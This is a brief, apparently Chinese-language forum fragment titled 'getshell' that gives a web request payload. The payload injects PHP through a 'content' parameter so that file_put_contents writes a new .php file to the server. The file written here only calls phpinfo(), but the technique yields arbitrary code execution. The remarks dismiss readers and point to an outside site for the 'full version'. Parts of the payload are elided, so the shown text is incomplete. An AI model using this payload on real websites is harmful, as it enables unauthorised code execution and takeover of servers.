getshell
http://127.0.0.1/?a=fetch&tem%20…%20%27%27&content=%3Cphp%3Efile_put_contents(%27111.php%27,%27%3C?php%20phpinfo();%20?%3E%27)%3C/php%3E

?a=fetch&tem … ”&content=file_put_contents(‘13123.php’,”)

反正你们看不懂 别问我

vhpqv.cn 自己去看完整版[呵呵]